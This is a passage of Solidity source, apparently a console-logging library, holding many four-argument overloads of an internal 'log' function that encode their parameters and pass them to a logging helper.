view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,address)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string,bool)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string,address)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool,bool)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,address)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,address)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,bool)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,bool)", p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,address)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,address)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,address)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,address)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,address)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,uint)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,string)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,bool)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,address)", p0, p1, p2, p3)); } function log(address p0, bool p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string,uint)", p0, p1, p2, p3)); } function log(address p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string,string)", p0, p1, p2, p3)); } function log(address p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string,bool)", p0, p1, p2, p3)); } function log(address p0, bool p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string,address)", p0, p1, p2, p3)); } function log(address p0, bool p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,uint)", p0, p1, p2, p3)); } function log(address p0, bool p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,string)", p0, p1, p2, p3)); } function log(address p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,bool)", p0, p1, p2, p3)); } function log(address p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,address)", p0, p1, p2, p3)); } function log(address p0, bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address,uint)", p0, p1, p2, p3)); } function log(address p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address,string)", p0, p1, p2, p3)); } function log(address p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address,bool)", p0, p1, p2, p3)); } function log(address p0, bool p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address,address)", p0, p1, p2, p3)); } function log(address p0, address p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint,uint)", p0, p1, p2, p3)); } function log(address p0, address p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint,string)", p0, p1, p2, p3)); } function log(address p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint,bool)", p0, p1, p2, p3)); } function log(address p0, address p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint,address)", p0, p1, p2, p3)); } function log(address p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string,uint)", p0, p1, p2, p3)); } function log(address p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string,string)", p0, p1, p2, p3)); } function log(address p0, address p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string,bool)", p0, p1, p2, p3)); } function log(address p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string,address)", p0, p1, p2, p3)); } function log(address p0, address p1, bool p2, uint p3) internal view { 